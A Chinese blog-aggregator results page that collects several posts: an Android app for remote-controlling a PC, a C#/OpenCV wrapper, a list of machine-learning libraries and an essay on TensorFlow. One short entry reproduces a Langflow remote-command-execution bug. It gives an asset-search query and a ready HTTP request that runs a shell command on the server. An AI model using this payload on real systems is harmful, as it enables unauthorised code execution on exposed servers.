首页 文章 精选 留言 我的

精选列表

搜索[源代码漏洞],共10002篇文章
优秀的个人博客,低调大师

安卓手机控制电脑源代码开源

安卓控制电脑 项目介绍:http://www.oschina.net/p/android-remote-control-computer osc@git地址:http://git.oschina.net/lujianing/android-remote-control-computer 实现功能: 鼠标控制模式: 鼠标的移动 鼠标左键点击 鼠标右键点击 鼠标滑轮 文件的拖动 自定义音量键功能 键盘输入模式: 向电脑发送文字(中英) 回车 退格 以及DOS下的输入 电脑方向键的控制 WSAD模式 和 UP DOWN LEFT RIGHT 音量键可根据用户需求自定义设置功能 手柄控制模式: 横屏下 左边为控制方向 右边为操作 可自定义 左边控制方式为鼠标控制 和 键盘控制 右边 可自定义操作方式 技术点: 多线程+网络编程 JavaAPI的运用(调用操作系统事件) 手机端事件响应的运用多点触控的运用 鼠标移动 手柄模式下键盘控制等的一些算法 应用场合: 讲课或者演示时 不用再拘束于讲台 如PPT的控制等 电脑的远距离控制 看电影聊天再也不用守在电脑前 手机实现游戏手柄的功能 未来畅想: 物联网时代,当家用电器都可以连接网络时 我们可以通过一个手机端 控制所有的家用电器 实现原理: 网络Socket编程 + 多线程 电脑作为服务器端 + 手机作为客户端 电脑开启端口号 手机连接电脑IP+端口 手机根据不同事件 发送对应字符串 服务器端解析字符串 调用相应的操作 实现的是基于wifi模式下的控制,蓝牙模式实现原理基本相似 项目是2012年初学习android后做的一个项目,后来不从事android相关开发,所以项目不进行维护 图片展示: 服务器端: 手机端:

优秀的个人博客,低调大师

有效的GOCsharpHelper1.0(源代码开放)

csharp编写界面,调用基于opencv的图像处理类库,是解决一类问题的优良方法。经过不懈研究,有最新进展: 一、目前情况和优点 位置在11.通过clr 架在clr.dll中 String^ Class1::Method(cli::array<unsigned char>^ pCBuf1) { pin_ptr<System::Byte> p1 = &pCBuf1[0]; unsigned char* pby1 = p1; cv::Mat img_data1(pCBuf1->Length,1,CV_8U,pby1); cv::Mat img_object = cv::imdecode(img_data1,IMREAD_UNCHANGED); //////////////////////////////////处理过 cvtColor(img_object,img_object,40); //////////////////////////////////////////////////////////////////// if (!img_object.data) return nullptr; //获得目录,保存文件 cv::imwrite("c:/strDst.jpg",img_object); return "c:/strDst.jpg"; } csharp这边,首先,有wrapper class GOCsharpHelper { Class1 client = new Class1(); string strResult = null; //输入参数是string或bitmap public Bitmap ImageProcess(string ImagePath){ Image ImageTemp = Bitmap.FromFile(ImagePath); return ImageProcess(ImageTemp); } //输出结果是bitmap public Bitmap ImageProcess(Image image) { MemoryStream ms = new MemoryStream(); image.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); byte[] bytes = ms.GetBuffer(); strResult = client.Method(bytes); Image ImageResult = Bitmap.FromFile(strResult); return (Bitmap)ImageResult; } public void Clear() { if(File.Exists(strResult)) File.Delete(strResult); } } 构然后有细节 private void button2_Click(object sender, EventArgs e) { if (pictureBox1.Image != null) pictureBox1.Image.Dispose(); Image image = gocsharphelper.ImageProcess(" E:/sandbox/logo.jpg"); pictureBox1.Image = image; } 通过复杂的方法,将串读入进来,然后转换为mat.这个过程是在内存中进行的,而且效果良好。但是imdecode采用了file I/O的方法,所以和直接写入磁盘是效果一样的。 此外,为opencv生成clr的dll,csharp中直接引用。 优点: 1、clr的优点,方便引用和调试; 2、会生成过程文件,但是能够自动删除。 3、效率还是有保障的。 二、存在问题 主要问题还是发展的问题,新的模型,少有人运作,能否用于实际?框架是否合理? 三、发展计划 算法衍生:我将现有代码运用于GOImageReasearch中,取得一些效果。 文中提及的代码实现 http://files.cnblogs.com/files/jsxyhelu/ClassLibrary1.zip http://files.cnblogs.com/files/jsxyhelu/GOImageResearch.zip 目前方向:图像拼接融合、图像识别 联系方式:jsxyhelu@foxmail.com

优秀的个人博客,低调大师

经典的机器学习方面源代码库

编程语言:搞实验个人认为当然matlab最灵活了(但是正版很贵),但是更为前途的是python(numpy+scipy+matplotlib)和C/C++,这样组合既可搞研究,也可搞商业开发,易用性不比matlab差,功能组合更为强大,个人认为,当然R和java也不错. 1.机器学习开源软件网(收录了各种机器学习的各种编程语言学术与商业的开源软件) http://mloss.org 2偶尔找到的机器学习资源网:(也非常全,1和2基本收录了所有ML的经典开源软件了) http://www.dmoz.org/Computers/Artificial_Intelligence/Machine_Learning/Software/ 3libsvm(支持向量机界最牛的,不用多说了,台湾大学的林教授的杰作) http://www.csie.ntu.edu.tw/~cjlin/libsvm/ 4WEKA(基于java的机器学习算法最全面最易用的开源软件) http://www.cs.waikato.ac.nz/ml/weka/ 5scikit(本人最喜欢的一个基于python的机器学习软件,代码写得非常好,而且官方的文档非常全,所有都有例子,算法也齐全,开发也活跃 ,强烈推荐给大家用) http://scikit-learn.org/stable/ 6OpenCv(最牛的开源计算机视觉库了,前途无可限量,做图像处理与模式识别的一定要用,总不能整天抱着matlab做实验和工业界脱节吧,但是有一定难度) http://opencv.willowgarage.com/wiki/ 7Orange(基于c++和python接口的机器学习软件,界面漂亮,调用方便,可以同时学习C++和python,还有可视化的功能,) http://orange.biolab.si/ 8Mallet(基于JAVA实现的机器学习库,主要用于自然语言处理方面,特色是马尔可夫模型和随机域做得好,可和WEKA互补) http://mallet.cs.umass.edu/ 9NLTK(PYTHON的自然处理开源库,非常易用,也强大,还有几本orelly的经典教程) http://nltk.org/ 10lucene(基于java的包括nutch,solr,hadoop,mahout等全套,是做信息检索和搜索引擎的同志们必学的开源软件了,学JAVA的必学) http://lucene.apache.org/ 1.MG4J-ManagingGigabytesforJava MG4J可以让你通过内插编码(interpolativecoding)技术,为大量的文档集合构建一个被压缩的全文本索引。与Lucene主要区别是,它提供了cluster功能,具有更OO的设计方式。 虽然MG4J不是一个像Lucene、Egothor和Xapian那样的信息检索库,但是相信每一位搜索工程师都应该知道它,因为它对构建Java信息检索库提供了低水平的支持。 MG4J是在一本很流行的书问世之后被命名的,这本书是由H.Witten,AlistairMoffat和Timothy所写,名字是《管理十亿字节:压缩并且索引文档和图片》。在使用他们的分布式、可容错的网页爬虫UbiCrawler收集到大量的网页数据后,它的作者需要一个软件来解析那些收集来的数据,由于这个需求,MG4J诞生了。MG4J的库提供了优化的类来处理I/O,转化索引文件的压缩等等。 2.Terrier-InformationRetrievalPlatform Terrier是一个高度灵活,高效的开源搜索引擎,易于部署在大型的文件集合。Terrier实现非常优秀的索引和搜索功能,为开发大型检索应用程序提供了一个理想的平台。 它支持多索引策略比如:multi-pass、single-pass和大型MapReduce索引。 3.Lemur-SearchEngine Lemur(狐猴)系统是CMU和UMass联合推出的一个用于自然语言模型和信息检索研究的系统。在这个系统上可以实现基于自然语言模型和传统的向量空间模型以及Okapi的adhoc或者分布式检索,可以使用结构化查询、跨语言检索、过滤、聚类等。 Lemur可以在Windows或者Unix环境下使用,因此我们可以直接在Windows下使用Lemur。但是Lemur提供了shellscript文件来演示完整的使用lemur进行检索的过程,所以在Windows下需要安装cygwin来模拟Unix环境。Lemur还提供了一个GUI程序以及用户交互的界面的CGI,Java程序可以直接看到检索的结果,需要安装Java虚拟机,CGI程序需要Perl的解释器。 4.Xapian-SearchEngineLibrary Xapian由C++编写,但可以绑定到Perl、Python、PHP、Java、Tcl、C#和Ruby甚至更多的语言。Xapian可以说是STL编程的典范,在这里您可以找到熟悉的引用计数型智能指针、容器和迭代器,甚至连命名也跟STL相似,相信一定能引起喜好C++和STL的你的共鸣(实际上,很少C++程序员完全不使用STL)。 由于Xapian使用的是STL和C运行时库,因此具有高度可移值性,官方说法是可以运行在Linux、MacOSX、FreeBSD、NetBSD、OpenBSD、Solaris、HP-UX、Tru64和IRIX,甚至其它的Unix平台,在Windows上也跑得很好。当然,并不能像Java那样“一次编译,到处可以运行”,当移植到其它平台时,一般来说是需要重新编译的。 揭秘TensorFlow:Google开源到底开的是什么? 这两天发现朋友圈被Google开源深度学习系统TensorFlow的新闻刷屏了。这当然是一个很好的消息,尤其对我们这种用机器学习来解决实际问题的工程师来说更是如此。但同时很多人并不清楚听起来神乎其神的“TensorFlow”到底是什么,有什么意义。 我是人工智能科技公司“出门问问”的工程师,对人工智能“深度学习”理论有一定的了解,在这里就为大家“破雾”,聊一聊Google的开源系统TensorFlow。 什么是深度学习? 在机器学习流行之前,都是基于规则的系统,因此做语音的需要了解语音学,做NLP的需要很多语言学知识,做深蓝需要很多国际象棋大师。 而到后来统计方法成为主流之后,领域知识就不再那么重要,但是我们还是需要一些领域知识或者经验来提取合适的feature特征,feature的好坏往往决定了机器学习算法的成败。对于NLP来说,feature还相对比较好提取,因为语言本身就是高度的抽象;而对于Speech或者Image来说,我们人类自己也很难描述我们是怎么提取feature的。比如我们识别一只猫,我们隐隐约约觉得猫有两个眼睛一个鼻子有个长尾巴,而且它们之间有一定的空间约束关系,比如两只眼睛到鼻子的距离可能差不多。但怎么用像素来定义”眼睛“呢?如果仔细想一下就会发现很难。当然我们有很多特征提取的方法,比如提取边缘轮廓等等。 但是人类学习似乎不需要这么复杂,我们只要给几张猫的照片给人看,他就能学习到什么是猫。人似乎能自动“学习”出feature来,你给他看了几张猫的照片,然后问猫有什么特征,他可能会隐隐预约地告诉你猫有什么特征,甚至是猫特有的特征,这些特征豹子或者老虎没有。 深度学习为什么最近这么火,其中一个重要的原因就是不需要(太多)提取feature。 从机器学习的使用者来说,我们以前做的大部分事情是featureengineering,然后调一些参数,一般是为了防止过拟合。而有了深度学习之后,如果我们不需要实现一个CNN或者LSTM,那么我们似乎什么也不用干。(机器让工人失业,机器学习让搞机器学习的人失业!人工智能最终的目的是让人类失业?) TensorFlow:Google开源到底开的是什么?" style="margin:0px;padding:0px;border:0px;list-style:none;width:0px;" data-original="https://dn-linuxcn.qbox.me/data/attachment/album/201511/15/131021fxzhx4b74nnznjhn.jpg"> 但是深度学习也不是万能的,至少现在的一个问题是它需要更强的计算能力才能训练出一个比较好的模型。它还不能像人类那样通过很少的训练样本就能学习很好的效果。 其实神经网络提出好几十年了,为什么最近才火呢?其中一个原因就是之前它的效果并不比非深度学习算法好,比如SVM。 到了2006年之后,随着计算能力的增强(尤其是GPU的出现),深度神经网络在很多传统的机器学习数据集上体现出优势来之后,后来用到Image和Speech,因为它自动学出的feature不需要人工提取feature,效果提升更加明显。这是否也说明,我们之前提取的图像feature都不够好,或者是根据人脑的经验提取的feature不适合机器的模型? 很多人对深度学习颇有微词的一个理由就是它没有太多理论依据,更多的像蛮力的搜索——非常深的层数,几千万甚至上亿参数,然后调整参数拟合输入与输出。其实目前所有的机器学习都是这样,人类的大脑的学习有所不同吗,不是神经元连接的调整吗? 但不管怎么说,从深度神经网络的使用者(我们这样的工程师)的角度来说,如果我们选定了一种网络结构,比如CNN,那么我们要做的就是根据经验,选择合适的层数,每层的神经元数量,激活函数,损失函数,正则化的参数,然后使用validation数据来判定这次训练的效果。从效果来说,一般层次越多效果越好(至少相对一两层的网络来说),但是层次越多参数也越多,训练就越慢。单机训练一个网络花几天甚至几周的时间非常常见。因此用多个节点的计算机集群来训练就是深度学习的核心竞争力——尤其对于用户数据瞬息万变的互联网应用来说更是如此。 常见深度神经网络的训练和问题 对于机器学习来说,训练是最关键也最困难的部分,一般的机器学习模型都是参数化的模型,我们可以把它看成一个函数y=f(w;x)。 比如拿识别图像来说,输入x是这张图片的每个像素值,比如MNIST的数据是28*28的图片,每个点是RGB的颜色值,那么x就是一个28*28*3的向量。而一个模型有很多参数,用w表示。输出y是一个向量,比如MNIST的数据是0-9的10个数字,所以我们可以让y输出一个10维的向量,分别代表识别成0-9的置信度(概率),选择最大的那个作为我们的识别结果(当然更常见的是最后一层是softmax而不是普通的激活函数,这样这个10维向量加起来等于1,可以认为是分类的概率)。 而训练就是给这个模型很多(x,y),然后训练的过程就是不断的调整参数w,然后使得分类错误尽可能少(由于分类错误相对w不连续因而不可求导,所以一般使用一个连续的LossFunction)。 对于神经网络来说,标准的训练算法就是反向传播算法BackPropagation。从数学上来说就是使用(随机)梯度下降算法,求LossFunction对每个参数的梯度。另外我们也可以从另外一个角度来看反向传播算法,比如最后一层的神经网络参数,直接造成错误Loss;而倒数第二层的神经网络参数,通过这一次的激活函数影响最后一层,然后间接影响最终的输出。反向传播算法也可以看成错误不断往前传播的过程。 由于深度神经网络的参数非常多,比如GoogleNet, 2014年ILSVRC挑战赛冠军,将Top5的错误率降低到6.67%,它是一个22层的CNN,有5百多万个参数。所以需要强大的计算资源来训练这么深的神经网络。 其中,CNN是Image领域常见的一种深度神经网络。由YannLeCun提出,通过卷积来发现位置无关的feature,而且这些feature的参数是相同的,从而与全连接的神经网络相比大大减少了参数的数量。 cnn深度神经网络 最开始的改进是使用GPU来加速训练,GPU可以看成一种SIMT的架构,和SIMD有些类似,但是执行相同指令的warp里的32个core可以有不同的代码路径。对于反向传播算法来说,基本计算就是矩阵向量乘法,对一个向量应用激活函数这样的向量化指令,而不像在传统的代码里会有很多if-else这样的逻辑判断,所以使用GPU加速非常有用。 但即使这样,单机的计算能力还是相对有限的。 深度学习开源工具 从数学上来讲,深度神经网络其实不复杂,我们定义不同的网络结构,比如层次之间怎么连接,每层有多少神经元,每层的激活函数是什么。前向算法非常简单,根据网络的定义计算就好了。 而反向传播算法就比较复杂了,所以现在有很多深度学习的开源框架来帮助我们把深度学习用到实际的系统中。 我们可以从以下几个不同的角度来分类这些开源的深度学习框架。 通用vs专用 深度学习抽象到最后都是一个数学模型,相对于传统的机器学习方法来说少了很多特征抽取的工作,但是要把它用到实际的系统中还有很多事情要做。而且对于很多系统来说,深度学习只是其中的一个模块。 拿语音识别来说,语音识别包含很多模块,比如声学模型和语言模型,现在的声学模型可以用LSTMs(一种RNN,也是一种深度学习网络)来做,但是我们需要把它融入整个系统,这就有很多工作需要做。而且目前大部分的机器学习方法包括深度学习,都必须假设训练数据和测试数据是相同(或者类似)的分布的。所以在实际的应用中,我们需要做很多数据相关的预处理工作。 比如Kaldi,它是一个语音识别的工具,实现了语音识别的所有模块,也包括一些语音识别常用的深度神经网络模型,比如DNN和LSTM。 而Caffe更多的是用在图像识别,它实现了CNN,因为这个模型在图像识别上效果非常好。 框架vs库 大部分开源的深度学习工具把整个模型都封装好了,我们只需要指定一些参数就行了。比如我们使用Caffe的CNN。 但是还有一些工具只是提供一些基础库,比如Theano,它提供了自动求梯度的工具。 我们可以自己定义网络的结构,我们不需要自己求梯度。使用Theano的好处是如果我们“创造”一个新的网络结构或者是很新的深度神经网络,那么其它框架很可能还没有实现,所以Theano在学术界很流行。当然坏处就是因为它不可能针对特定的模型做优化,所以可能性能不如特定的实现那么好。 单机vs集群 目前大部分的开源工具都是单机版的,有些支持在一个节点的多个GPU训练,但是支持GPUcluster比较少,目前支持多机训练的有GraphLab和Deeplearning4j。 Tensor Flow到底是什么? Tensor张量意味着N维数组,Flow流意味着基于数据流图的计算,TensorFlow即为张量从图的一端流动到另一端。 TensorFlow表达了高层次的机器学习计算,大幅简化了第一代系统,并且具备更好的灵活性和可延展性。TensorFlow一大亮点是支持异构设备分布式计算,它能够在各个平台上自动运行模型,从电话、单个CPU/GPU到成百上千GPU卡组成的分布式系统。 TensorFlow:Google开源到底开的是什么?" style="margin:0px;padding:0px;border:0px;list-style:none;width:0px;" data-original="https://dn-linuxcn.qbox.me/data/attachment/album/201511/15/131022m94iok8zwmd6w5w0.png"> 从目前的文档看,TensorFlow支持CNN、RNN和LSTM算法,这都是目前在Image,Speech和NLP最流行的深度神经网络模型。 而且从JeffDean的论文来看,它肯定是支持集群上的训练的。 在论文里的例子来看,这个架构有点像Spark或者Dryad等图计算模型。就像写Map-reduce代码一样,我们从高层的角度来定义我们的业务逻辑,然后这个架构帮我们调度和分配计算资源(甚至容错,比如某个计算节点挂了或者太慢)。目前开源的实现分布式Deeplearning的GraphLab就是GAS的架构,我们必须按照它的抽象来编写DeepLearing代码(或者其它分布式代码,如果PageRank),而Deeplearning4j直接使用了Spark。 Map-Reduce的思想非常简单,但是要写出一个稳定可用的工业级产品来就不容易了。而支持分布式机器学习尤其是深度学习的产品就更难了,Google的TensorFlow应该是一种抽象方式,可惜现在开源的部分并没有这些内容。有点像Google开源了一个单机版的Hadoop,可以用这种抽象(Map-reduce)来简化大数据编程,但是实际应用肯定就大大受限制了。 深度学习能解决所有问题吗? 至少目前来看,深度学习只是在Speech和Image这种比较“浅层”的智能问题上效果是比较明显的,而对于语言理解和推理这些问题效果就不那么好了,也许未来的深度神经网络能解决更“智能”的问题,但只是目前还不行。 Google开源TensorFlow的意义 这一次的Google开源深度学习系统TensorFlow在很多地方可以应用,如语音识别,自然语言理解,计算机视觉,广告等等。但是,基于以上论点,我们也不能过分夸大TensorFlow这种通用深度学习框架在一个工业界机器学习系统里的作用。在一个完整的工业界语音识别系统里, 除了深度学习算法外,还有很多工作是专业领域相关的算法,以及海量数据收集和工程系统架构的搭建。 不过总的来说,这次谷歌的开源很有意义,尤其是对于中国的很多创业公司来说,他们大都没有能力理解并开发一个与国际同步的深度学习系统,所以TensorFlow会大大降低深度学习在各个行业中的应用难度。

优秀的个人博客,低调大师

【漏洞复现】Langflow框架远程命令执行漏洞

资产收集 ``` 鹰图平台 web.title="Langflow" ``` ![](https://developer.qcloudimg.com/http-save/yehe-9694622/dc7412cbc4bc15b99a7b9a92d89ba387.png) 发送请求 ``` POST /api/v1/validate/code HTTP/1.1 Host: Content-Type: application/json Content-Length: 112 { "code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"id\"]))')\ndef foo():\n pass" } ``` 返回包 ![](https://developer.qcloudimg.com/http-save/yehe-9694622/da551dc21478d4c5944d966e06b8b786.png) 批量验证脚本

资源下载

更多资源
Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册